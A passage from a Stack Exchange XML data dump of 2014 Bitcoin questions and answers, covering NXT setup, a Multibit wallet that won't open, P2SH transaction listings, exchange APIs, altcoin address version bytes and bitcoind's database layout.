nxt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To change NXT's properties (such as port), edit &lt;em&gt;nxt-default.properties&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;nano conf/nxt-default.properties&lt;/code&gt;  (CTRL+O to save, CTRL+X to quit.)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch NXT &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;./run.sh&lt;/code&gt; and access via browser, ip:xxxx&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18549" LastEditorUserId="18549" LastEditDate="2014-07-09T21:37:53.707" LastActivityDate="2014-07-09T21:37:53.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28407" PostTypeId="1" CreationDate="2014-07-09T21:38:09.830" Score="1" ViewCount="1057" Body="&lt;p&gt;The app itself won't open. I recently did a system restore to a previous point in time but I'm pretty sure it was not before the point that I installed the multibit application. All the installation files are still in their original place but I can't get it to open. I've tried opening it from the run dialog and get the error message that &quot;windows cannot find 'multibit.exe'&quot;. I've tried opening from both the regular and elevated command prompts and while I can see multibit and its files on the desktop it doesn't show up in the all apps section of windows 8 home screen. I am leaning towards re-installing but I don't know what order to do it (uninstall current one before or after?) or what files (if any) will get over-written. All of my bitcoins were in the desktop application but I did not backup the wallet (I know). All the files for the wallet seem to be available in the appdata\roaming\multibit folder (under Untitled.* since I did not backup or encrypt with password) and my hope is that if I run an actual working version of multibit.exe that I wll be able to access my bitcoins. I don't think that re-installing multibit will affect these files but I thought I should ask first. This situation, that I am entirely in through my own fault, has gotten me very anxious. Any advice/help/suggestions would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="18536" LastActivityDate="2016-05-11T12:50:25.883" Title="Multibit application won't open" Tags="|wallet|multibit|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28408" PostTypeId="2" ParentId="28405" CreationDate="2014-07-09T23:18:09.843" Score="2" Body="&lt;p&gt;i could find these transactions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;output date         | input date          |  value        | output txn                                                                | input txn                                                                 | output script                                                             | input sig                                                                                                                                                                                                                    {pubkey, OP_CHECKSIG}&#xA;2013-01-06 01:05:04 | 2013-01-06 01:25:07 |    0.01000000 | 76db4ae9e12bcf95c0fe3f64ffbdba61b83e8099749a4ef721e69bce68eec8ae:00000001 | 4ba4f9ff28040e378a14422f3f19f341efac85b65f8cf778caab59ccdf9ef776:00000000 | HASH160,40 49 b9 10 32 94 06 bc 57 ec a8 6a 73 5c c0 35 71 f6 2d 28,EQUAL | 30 46 02 21 00 d8 ed 4b ef e2 ce 5b b1 fd 79 0a f0 6d b6 5c 88 26 9a f0 00 df a4 18 c8 fb ac 0d 99 4f 52 a3 a8 02 21 00 8e 8a a5 7b 1b 47 5d 17 34 fe 56 c6 67 9a e2 57 14 ee 5c 5f e9 50 92 6d 0c eb 9e 36 9d 88 66 93 01,  41 04 55 7b f6 c5 76 18 05 69 87 bd 55 bf be dd 00 21 16 d6 93 8f 37 50 cc d9 79 fc 8b f6 ea f2 52 ea 00 30 b0 6b 66 21 ef 54 46 73 0c 33 8c 23 d1 7c 7d 28 04 e1 e2 1c 63 36 fc 97 da 2a 78 b6 04 2d ac&#xA;2013-01-06 04:38:11 | 2013-01-07 04:14:20 |    0.00005000 | ad518a4a09472136cf5d3958a784721ae30b31eec00eba101963cee7fa10a5f6:00000112 | 5e5bdbb5c6bec825a8ac345cacf4be9bd61a8bb14483fc609d66fab8f5243ebf:00000013 | HASH160,40 49 b9 10 32 94 06 bc 57 ec a8 6a 73 5c c0 35 71 f6 2d 28,EQUAL | 30 45 02 21 00 c9 78 2f 84 48 ee c6 2f bf ac 24 b6 55 dc 17 ed a2 51 6c 06 84 36 67 78 3e 7e 7f ba 19 76 53 df 02 20 33 8f 8d bb 6f 3c 51 2d ee 54 d6 ca bb 48 07 ba c0 ea 39 3d e1 1f 6f 02 32 08 40 bf fc a4 9e 4b 01,     41 04 55 7b f6 c5 76 18 05 69 87 bd 55 bf be dd 00 21 16 d6 93 8f 37 50 cc d9 79 fc 8b f6 ea f2 52 ea 00 30 b0 6b 66 21 ef 54 46 73 0c 33 8c 23 d1 7c 7d 28 04 e1 e2 1c 63 36 fc 97 da 2a 78 b6 04 2d ac&#xA;2013-01-06 23:39:53 | 2013-01-07 04:14:20 |    0.00013298 | c44677b5309d4fd9eb15e79aba7a32740c92bc840e74e379bda03fd55175f626:000000da | 5e5bdbb5c6bec825a8ac345cacf4be9bd61a8bb14483fc609d66fab8f5243ebf:00000014 | HASH160,51 5a 01 9a 9f e8 43 d1 65 e6 69 d1 6b f2 92 7c 7e d4 a6 b9,EQUAL | 30 45 02 21 00 88 26 99 d0 cf 52 89 fe 34 1c 72 b0 4d 2d 87 38 b6 0c a0 a0 65 c5 40 9c 26 16 ec 70 cc 3b 5f bb 02 20 2c 03 e6 dc b4 db 41 13 27 0a 5f 09 20 dc 1e e9 7e 64 d1 54 b5 ee 4a 1a bb 2a 1c c1 09 98 40 5d 01,     41 04 d1 92 06 a2 d1 2a 69 a0 34 ba 1a d6 54 99 79 c9 5a b1 64 eb 96 74 a9 a3 78 16 39 e5 76 6d 9a 97 ac b4 cf 77 47 b3 75 e4 c3 c1 61 6f 37 5f db 02 ae d3 ec 5a 60 0f d2 61 9d 9b 11 d6 cd 92 6f 0a ac&#xA;2013-01-07 03:30:25 | 2013-01-29 02:13:27 |    0.09950000 | 91c8b08f305d895d6bc8f43bbdd36dcbc7f1d998e3df5e8f13dd9cdeebf15cb5:00000000 | 686212d2a49bda1f73c8cb1cf3f72e716b3a68ee12cfec5d1b3d86f1bae278d9:00000000 | HASH160,69 d9 83 14 fb c4 db ee 03 7f 86 f5 13 92 a1 4c 4c 1d 41 da,EQUAL | 30 45 02 20 69 bd ea 3b 70 ce fc 06 1d b5 46 b5 57 b2 d6 dc f6 27 13 f6 de 37 f4 a1 40 b8 83 70 99 14 a9 84 02 21 00 e6 10 00 79 53 9a a8 e0 ab a5 18 c6 ad 1a 34 be 33 69 ae 78 a3 5c 0b 23 40 cf e4 30 05 15 d1 ac 01,     41 04 3a ce db 50 e9 f1 95 4f eb 72 29 39 ec 01 0b 32 57 c2 8f 5f 35 25 ae b8 07 99 a3 2c a6 97 58 93 6b a5 d8 bf f2 a1 ab f0 7c fc 7e d4 49 8a a5 02 b3 47 00 de 93 0f 42 91 55 a4 6c 32 84 da fd 6d ac&#xA;2013-01-07 05:38:05 | 2013-01-21 03:22:57 |    0.00010000 | 3b2ca3e60a6d68dfcb6a87fee3898bd1f36b2da4a21b3302b0f0aa3d28a8931c:0000012d | 19adf8c075139a187fd46581767844af5701096f91ad3f9c876d5418ffbedda8:00000006 | HASH160,f0 6c 9c ff f4 60 d3 a1 f0 a8 52 cd 01 96 42 b3 3e 6c c2 1d,EQUAL | 30 44 02 20 42 1f dc 88 1a 4c a5 b8 47 2b 6e b5 35 dd 45 f5 a2 7c 6d e9 a8 ce 49 10 b9 73 a5 3e 06 2c 5b 30 02 20 60 eb 5d f2 a4 81 06 85 61 cb db 5a ef ca e4 18 0c f0 d4 ee 51 95 d0 06 27 1a ab 95 21 1f 11 18 01,        41 04 5f be f0 ab b8 96 88 fc 9f bd fe 65 a1 c2 4a 49 ce c1 f4 0c 4a 21 5b 7a ea 55 0c bc bd 71 8b d1 56 be e5 3b d4 6f 80 9c df 12 c1 b6 49 77 80 0a 2b 89 05 57 c6 9c 6a 9d 27 f1 b5 6b 5a ff bb 4e ac&#xA;2013-01-07 23:11:01 | 2013-01-21 03:22:57 |    0.00011562 | 82a64ce3ddc2e4ce11df80aa36f795ed2a86d7bc60de5759e779610e954e1f50:00000114 | 19adf8c075139a187fd46581767844af5701096f91ad3f9c876d5418ffbedda8:0000000b | HASH160,e3 9e 64 05 82 3c 9b e4 b4 94 41 cd 97 c9 3b b5 d7 7e 7b ae,EQUAL | 30 45 02 21 00 cd 9c d3 bc 1e b4 54 c0 9f 86 c1 3f f3 7f fa ce 4e 0a 0b 51 eb 98 96 52 58 81 8f 8c 24 14 bf 10 02 20 7d 54 c8 81 d2 2c 7d 1e d3 05 80 ec 24 f1 a1 0e 5b 79 6d 97 88 3a da 91 ea fd ef c4 08 60 6f 4d 01,     41 04 14 25 a5 c4 d0 67 f5 65 34 f5 90 ec 44 dc 10 73 2c ac 73 d7 0a 40 8f d8 4f 4b ee 21 0b e4 c9 25 23 cd 03 3a c1 94 05 1e 6f 11 9f 75 99 68 76 3d 7c 81 4b 38 66 0a d2 66 29 3d 75 a4 a3 c3 3a a0 ac&#xA;2013-01-08 05:06:22 | 2013-01-21 03:22:57 |    0.00005000 | cebad5da2661784e773b5f52d543cb691714c8a913ce4043cbfc71c579bd37ef:0000012a | 19adf8c075139a187fd46581767844af5701096f91ad3f9c876d5418ffbedda8:00000013 | HASH160,63 d1 5d 89 0b 6c 13 91 27 6e 23 da 76 e9 2e e3 17 af b6 8e,EQUAL | 30 45 02 20 47 b7 bb 45 aa e6 6e 43 10 a2 24 a4 e1 aa d8 3b 5b 6b 81 a9 77 3c 8b 4b f1 bb e1 10 b9 95 f3 0d 02 21 00 fd a3 11 6e d5 0c 06 95 6d 7f ba 31 f6 1d 45 02 aa 6b 9d c9 15 19 61 4c f8 43 67 22 d2 07 cb f8 01,     21 02 d5 38 69 58 78 c4 3b c3 8f a5 2e 59 55 5f ce 9f 60 bd 76 66 ca 88 e1 13 89 ac cb 5f 74 ec bd c9 ac&#xA;2013-01-10 11:01:46 | 2013-01-21 03:22:57 |    0.00005000 | cea225850ae919308a5dd96004cda20faf68a2dc1369fb86647ac53f64ad6284:000001a8 | 19adf8c075139a187fd46581767844af5701096f91ad3f9c876d5418ffbedda8:00000012 | HASH160,db 4e 45 49 5c 34 14 15 a9 1d f9 8d e1 f8 7c 98 ac 37 e5 11,EQUAL | 30 45 02 20 2c 85 61 04 c3 8f c1 8c 03 f9 f8 c1 5c ce a6 10 e1 16 40 bd df 6c 6d 14 31 c1 6c 7d 90 4b 68 e6 02 21 00 ed eb 3b f8 2b bb fe b7 82 16 f6 fe f8 70 ee 11 8f 99 6d 2d 88 22 e4 03 dc cc b8 4f 46 f1 86 98 01,     21 02 41 98 b8 4f 47 15 30 2b b4 43 a7 4b 96 51 49 86 64 ad 86 e7 f9 ae 68 40 c5 e4 19 e6 66 b5 f8 56 ac&#xA;2013-01-17 04:58:07 | 2013-01-21 03:22:57 |    0.00005000 | c0d8658c9c0d00168400edf95d553fa7f9cef31e30888040651c3fcf244a0f65:00000166 | 19adf8c075139a187fd46581767844af5701096f91ad3f9c876d5418ffbedda8:00000011 | HASH160,f5 fb 46 21 d6 e6 4f 16 d6 5f 3b 83 79 ba bd af 00 8f 51 98,EQUAL | 30 46 02 21 00 c0 6a 14 28 af 5b 93 4c ff 7d 45 61 c1 cd 64 99 96 34 3d ac 18 63 84 32 0a f3 72 11 e8 e9 3e 9a 02 21 00 f3 91 b0 ed c4 e1 ca 0b de 10 76 23 4a f8 3d a3 b9 a5 0b 11 56 e6 e2 93 87 f2 53 4b 7d 77 be f7 01,  21 03 ce a4 a1 27 c7 c2 63 80 5b ae 9b ec 8f 20 ff 24 65 db fb 89 30 9f 8a 92 1b 35 1d a9 ad dd 19 dd ac&#xA;2013-02-01 16:21:59 | 2013-02-12 01:41:59 |  100.00000000 | a511bea3b5dc09609c4853d817cde909fdcdc06cc9558500f155ca821d0d511b:00000001 | 59d48effdd0ef2767f1ad67e7340de3c285e3db2224f0a53b594fa52896a2868:00000000 | HASH160,f6 e9 a1 09 6d 7c 0f 3b 96 0a 66 18 e3 d1 bc c8 50 3a 1c a8,EQUAL | 30 46 02 21 00 de 46 53 ce 71 d3 71 75 e6 c9 6e 69 6b 77 1d 6a 44 cc da 79 48 2b a6 ee 4d 90 91 f4 5a 0c 2d 2b 02 21 00 d9 b9 a2 28 62 ad a7 2f 00 e0 ea a6 ea 2d 68 6f 86 26 df c7 6e a0 5e bb 8f 07 6b 58 e7 d5 db 1c 01,  21 03 05 c3 5b 0d 8b ec e4 9d 29 a7 00 c0 4c 7c d6 10 4b c0 14 c5 e2 69 26 67 8f 85 88 71 7f 29 52 da ac&#xA;2013-07-15 06:41:43 | 2013-07-15 06:55:48 |    0.10000000 | 0ac30703fc8004efeb3bd9d280268a5a94208476a382ec3e40cf9fc99858fe58:00000001 | 2e9bb33f48b0fe5809a8dcbd99b3ac003b1e26032adb299c6258b0ab8fbeac18:00000000 | HASH160,40 16 6b f4 72 7c 1d ff 7b db 79 48 33 12 a4 b5 31 90 cb 4b,EQUAL | 30 46 02 21 00 cc 18 80 d0 23 09 87 7c f7 04 db e7 f5 46 cb 56 36 6e d7 c5 05 a9 74 fb be 29 f2 ef ef cc f0 c1 02 21 00 b2 8a a1 db 0c 10 fa e2 9b c1 ba cf dc 33 75 69 70 3e bd e9 fc b7 c6 d5 d3 98 05 64 cf a6 a9 45 01,  21 02 be 82 2e 2d 82 0b 6b 7a c7 b5 cd 33 64 31 94 4b c5 45 16 45 49 4d 83 0f 92 6d f8 99 af bc 95 cb ac&#xA;2014-03-15 11:27:09 | 2014-03-15 11:27:09 |    0.00100000 | bff785da9f8169f49be92fa95e31f0890c385bfb1bd24d6b94d7900057c617ae:00000000 | 748f59fb05bd7cf488cdcdddb28ac5525b5be423e0fa14e77664200de0a5d019:00000000 | HASH160,03 f3 81 49 39 df e1 b2 0d ff c8 96 5d 54 79 50 a1 49 3a 8a,EQUAL | 30 44 02 20 67 ea af 83 84 16 d5 19 63 a4 64 33 d5 11 07 08 09 f0 31 14 6a 63 ad 05 1b 79 3e 81 84 29 4f 86 02 20 5d 74 19 33 40 95 24 dc bf bf 7f db 21 02 77 a9 b1 0d 0d 1e f1 9f 6d 04 82 71 00 ff d9 0d af 8f 01,        21 03 78 d4 30 27 4f 8c 5e c1 32 13 38 15 1e 9f 27 f4 c6 76 a0 08 bd f8 63 8d 07 c0 b6 be 9a b3 5c 71 ac&#xA;2014-03-15 11:27:09 | 2014-05-03 13:54:16 |    0.00050000 | 748f59fb05bd7cf488cdcdddb28ac5525b5be423e0fa14e77664200de0a5d019:00000000 | 773767ec5372f43c1bc1af3c0f4ddd2475580122127e536362fd622bd8ecf51d:00000001 | HASH160,03 f3 81 49 39 df e1 b2 0d ff c8 96 5d 54 79 50 a1 49 3a 8a,EQUAL | 30 45 02 21 00 b4 49 47 eb 50 8b 9e 86 4b 38 a9 af 0a 01 5d f7 ca 66 26 af 36 ce 65 7b 8c 9e 8e 4f 66 2d 8e ab 02 20 3e dd 5a 38 5f 1a 04 03 f1 d8 f3 3a 1d 36 d3 9b 3f 56 04 3c 05 3e 33 e6 a1 56 8e d6 6c b6 91 b1 01,     21 03 78 d4 30 27 4f 8c 5e c1 32 13 38 15 1e 9f 27 f4 c6 76 a0 08 bd f8 63 8d 07 c0 b6 be 9a b3 5c 71 ac&#xA;2014-03-15 16:39:50 | 2014-05-03 13:54:16 |    0.00500000 | dd0c261581a5f76fe52e0850b5c0d8df89afd9e84e5393fd93f01f21b17e41f5:00000000 | 773767ec5372f43c1bc1af3c0f4ddd2475580122127e536362fd622bd8ecf51d:00000002 | HASH160,03 f3 81 49 39 df e1 b2 0d ff c8 96 5d 54 79 50 a1 49 3a 8a,EQUAL | 30 45 02 21 00 85 98 97 78 b7 a9 02 20 c4 55 d0 1b 7d 6a 80 40 d3 fb ac bc 2d 76 25 60 d9 d4 03 d3 bf 0d e5 07 02 20 22 3e 77 2e d2 cf 66 64 f4 4f 48 51 ed fe 61 5e 7d ec a9 ca 5f 45 0d 3d 95 bd 69 cd fb c5 b6 93 01,     21 03 78 d4 30 27 4f 8c 5e c1 32 13 38 15 1e 9f 27 f4 c6 76 a0 08 bd f8 63 8d 07 c0 b6 be 9a b3 5c 71 ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note: really long lines, scroll to the right for the &lt;code&gt;{[pubkey] OP_CHECKSIG}&lt;/code&gt; scripts&lt;/p&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-07-09T23:18:09.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28410" PostTypeId="1" AcceptedAnswerId="29412" CreationDate="2014-07-10T04:27:40.047" Score="0" ViewCount="397" Body="&lt;p&gt;BTC-e gives a new address to send to for every time a deposit is to be made. These addressees can be accesses through this url: &lt;a href=&quot;https://btc-e.com/profile%23funds/deposit_coin/1&quot; rel=&quot;nofollow&quot;&gt;Bitcoin deposit authentication required&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using python to interact with the BTC-e server. Is there a way of doing the following automatically?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sign into BTC-e using http request&lt;/li&gt;&#xA;&lt;li&gt;get new address using http request&lt;/li&gt;&#xA;&lt;li&gt;make a deposit to the new address&lt;/li&gt;&#xA;&lt;li&gt;And repeat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user18340" LastEditorUserId="15412" LastEditDate="2014-07-10T07:09:33.613" LastActivityDate="2014-07-10T09:28:25.430" Title="How to auto deposit bitcoins on btc-e?" Tags="|api|btce|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29410" PostTypeId="2" ParentId="28405" CreationDate="2014-07-10T06:58:14.053" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://webbtc.com/p2sh_scripts/pubkey&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/p2sh_scripts/pubkey&lt;/a&gt;&#xA;Sorry, this answer is very short, but I do not know what should I add&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-10T06:58:14.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29411" PostTypeId="2" ParentId="28407" CreationDate="2014-07-10T08:44:25.750" Score="1" Body="&lt;p&gt;See if you have a multibit.exe or java.exe task running in the background using TaskManager. If so kill it and try opening multibit again. There is code in multibit to stop two instances running simultaneously so it might be that&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-07-10T08:44:25.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29412" PostTypeId="2" ParentId="28410" CreationDate="2014-07-10T09:28:25.430" Score="0" Body="&lt;p&gt;There is nothing in the official &lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; about this sort of thing. In the examples no-one is doing anything with deposits or withdrawals either. A quick google doesn't give any results, so I think you're stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I log in and want to deposit, one of the rules is the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Address can be used for further deposits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Isn't that working? Just use the same address over and over again? You will have to manually generate an address for the first time. (I know this is violating your first statement, but I used the same address at least twice for a deposit)&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-10T09:28:25.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29413" PostTypeId="2" ParentId="19589" CreationDate="2014-07-10T11:17:19.877" Score="1" Body="&lt;p&gt;look at the 'name' field mentioned by nate, here is a list of what addresses of several alt coins look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example address                   version   coin&#xA;17DxjJ9Uf3nqMPAtcBMcs2wUdoUBnJit1V  00  bitcoin&#xA;9ZKdQaQXZqXEXV6i7zMK3fezrPszj9zErr  15  catcoin&#xA;XguoZYoNcm1RWKmUU4fqiZdGU93skcxKkn  4c  darkcoin&#xA;DBN4GZ67xTh7tPMVLmMBQo75WwCV7ppTgD  1e  dogecoin&#xA;LRSuzWTJji2tcBs3nKLv941Er1qTq9jMnW  30  litecoin&#xA;4KvncAXnLVVqtrHaoY2Ak37mfqXjPDzfCP  08  novacoin&#xA;PEp8tGYKhyH2LDqexFg9XvukFYe4ty6DMu  37  ppcoin&#xA;AMzqNo16zCSzAMNtAq1x1vCa7QPt8metCh  17  primecoin&#xA;mmjv2METU5E68VeWKkKzgx9oVo4thkSw5x  6f  btccoin testnet&#xA;mmjv2METU5E68VeWKkKzgx9oVo4thkSw5x  6f  litecoin testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;version&lt;/code&gt; is the version byte prepended to the hash before base58 encoding it.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-07-10T11:17:19.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29414" PostTypeId="2" ParentId="13681" CreationDate="2014-07-10T13:19:58.730" Score="2" Body="&lt;p&gt;open the database like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bsddb.db import *&#xA;&#xA;db = DB()&#xA;r= db.open(&quot;wallet.dat&quot;, &quot;main&quot;, DB_BTREE, DB_RDONLY)&#xA;&#xA;print &quot;%s&quot; % (db.items())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-07-10T13:19:58.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29415" PostTypeId="1" AcceptedAnswerId="29450" CreationDate="2014-07-10T14:44:37.830" Score="2" ViewCount="152" Body="&lt;p&gt;Cryptsy has a lot of markets. Each market has its own ID. Now markets have an ID in the range [1,220]. Sometimes old markets are deleted. Are the IDs of that markets reused or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same question for Bittrex and MintPal&lt;/p&gt;&#xA;" OwnerUserId="6395" LastEditorUserId="15412" LastEditDate="2014-07-14T12:58:45.187" LastActivityDate="2014-07-14T12:58:45.187" Title="Does Cryptsy reuses market IDs?" Tags="|exchanges|api|cryptsy|bittrex|mintpal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29416" PostTypeId="1" AcceptedAnswerId="29426" CreationDate="2014-07-10T15:51:21.880" Score="3" ViewCount="1528" Body="&lt;p&gt;The &lt;a href=&quot;https://mining.bitcoin.cz/stratum-mining&quot; rel=&quot;nofollow&quot;&gt;stratum protocol&lt;/a&gt; supports authorizing multiple workers in a single connection. Unfortunately, I didn't find any documentation about how this should be handled by pool server software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If multiple workers share the same &lt;code&gt;extranonce1&lt;/code&gt; (which is a &lt;strong&gt;per-connection&lt;/strong&gt; unique string), wouldn't the workers duplicate work? Is this to be handled by the client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do all the workers use the same &lt;code&gt;job_id&lt;/code&gt; for share submission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should a server send a job notify when the second, third etc. worker successfully passes authorization?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, does anyone actually use this (multiple workers per connection) and for what purpose?&lt;/p&gt;&#xA;" OwnerUserId="18552" LastEditorUserId="5406" LastEditDate="2016-04-25T18:51:53.130" LastActivityDate="2016-04-25T18:51:53.130" Title="How do pool server's handle multiple workers sharing one connection with Stratum protocol" Tags="|mining-technical-details|stratum|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29417" PostTypeId="1" CreationDate="2014-07-10T16:35:30.590" Score="0" ViewCount="191" Body="&lt;p&gt;I tried to generate an address with vanitygen. Because I'm on a MBP 2010 it took a while onthe CPU (not finished yet, two times up to 20%) and now I am trying to get it working with my GPU (NVidea 330m). That works, it is three times as fast as the CPU (±750 kkeys/s vs 230 kkeys/s), but I have a question about the OpenSSL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start oclvanitygen &lt;code&gt;./oclvanitygen -d 1 -i 1Mathias&lt;/code&gt; it gives me the following warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WARNING: Built with OpenSSL 0.9.8y 5 Feb 2013&#xA;WARNING: Use OpenSSL 1.0.0d+ for best performance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;openssl version&lt;/code&gt; gives me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OpenSSL 1.0.1h 5 Jun 2014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;sudo port upgrade openssl&lt;/code&gt; returns also that there is nothing to be done. How is this possible? &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2015-01-16T16:17:07.860" Title="Why does vanitygen warns me to update an up-to-date OpenSSL?" Tags="|vanitygen|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29418" PostTypeId="2" ParentId="28168" CreationDate="2014-07-10T20:08:19.513" Score="58" Body="&lt;p&gt;Bitcoind since 0.8 maintains two databases, the block index (in $DATADIR/blocks/index) and the chainstate (in $DATADIR/chainstate). The block index maintains information for every block, and where it is stored on disk. The chain state maintains information about the resulting state of validation as a result of the currently best known chain.&lt;/p&gt;&#xA;&lt;p&gt;Inside the block index, the used key/value pairs are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;'b' + 32-byte block hash&lt;/strong&gt; -&amp;gt; block index record. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/f914f1a746d7f91951c1da262a4a749dd3ebfa71/src/chain.h#L95&quot; rel=&quot;noreferrer&quot;&gt;Each record stores:&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The block header.&lt;/li&gt;&#xA;&lt;li&gt;The height.&lt;/li&gt;&#xA;&lt;li&gt;The number of transactions.&lt;/li&gt;&#xA;&lt;li&gt;To what extent this block is validated.&lt;/li&gt;&#xA;&lt;li&gt;In which file, and where in that file, the block data is stored.&lt;/li&gt;&#xA;&lt;li&gt;In which file, and where in that file, the undo data is stored.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;'f' + 4-byte file number&lt;/strong&gt; -&amp;gt; file information record. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/fcbc8bfa6d10cac4f16699d6e6e68fb6eb98acd0/src/main.h#L392&quot; rel=&quot;noreferrer&quot;&gt;Each record stores:&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The number of blocks stored in the block file with that number.&lt;/li&gt;&#xA;&lt;li&gt;The size of the block file with that number ($DATADIR/blocks/blkNNNNN.dat).&lt;/li&gt;&#xA;&lt;li&gt;The size of the undo file with that number ($DATADIR/blocks/revNNNNN.dat).&lt;/li&gt;&#xA;&lt;li&gt;The lowest and highest height of blocks stored in the block file with that number.&lt;/li&gt;&#xA;&lt;li&gt;The lowest and highest timestamp of blocks stored in the block file with that number.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;'l'&lt;/strong&gt; -&amp;gt; 4-byte file number: the last block file number used.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;'R'&lt;/strong&gt; -&amp;gt; 1-byte boolean ('1' if true): whether we're in the process of reindexing.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;'F' + 1-byte flag name length + flag name string&lt;/strong&gt; -&amp;gt; 1 byte boolean ('1' if true, '0' if false): various flags that can be on or off. Currently defined flags include:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'txindex': Whether the transaction index is enabled.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;'t' + 32-byte transaction hash&lt;/strong&gt; -&amp;gt; transaction index record. These are optional and only exist if 'txindex' is enabled (see above). Each record stores:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Which block file number the transaction is stored in.&lt;/li&gt;&#xA;&lt;li&gt;Which offset into that file the block the transaction is part of is stored at.&lt;/li&gt;&#xA;&lt;li&gt;The offset from the start of that block to the position where that transaction itself is stored.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Inside the chain state database, the following key/value pairs are stored:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;'C'+ 32-byte transaction hash + output index length + output index&lt;/strong&gt; (v0.15 onwards) -&amp;gt; A single unspent transaction output (UTXO) record. Each record contains information about the UTXO at the specified output index of the given transaction. This information consists of:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Whether the transaction was a coinbase or not.&lt;/li&gt;&#xA;&lt;li&gt;Which height block contains the transaction.&lt;/li&gt;&#xA;&lt;li&gt;The scriptPubKey and amount for this unspent output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;'c' + 32-byte transaction hash&lt;/strong&gt; (pre-v0.14) -&amp;gt; unspent transaction output record for that transaction. Unlike 'C', this entry represents all UTXOs from a single transaction. These records are only present for transactions that have at least one unspent output left. &lt;a 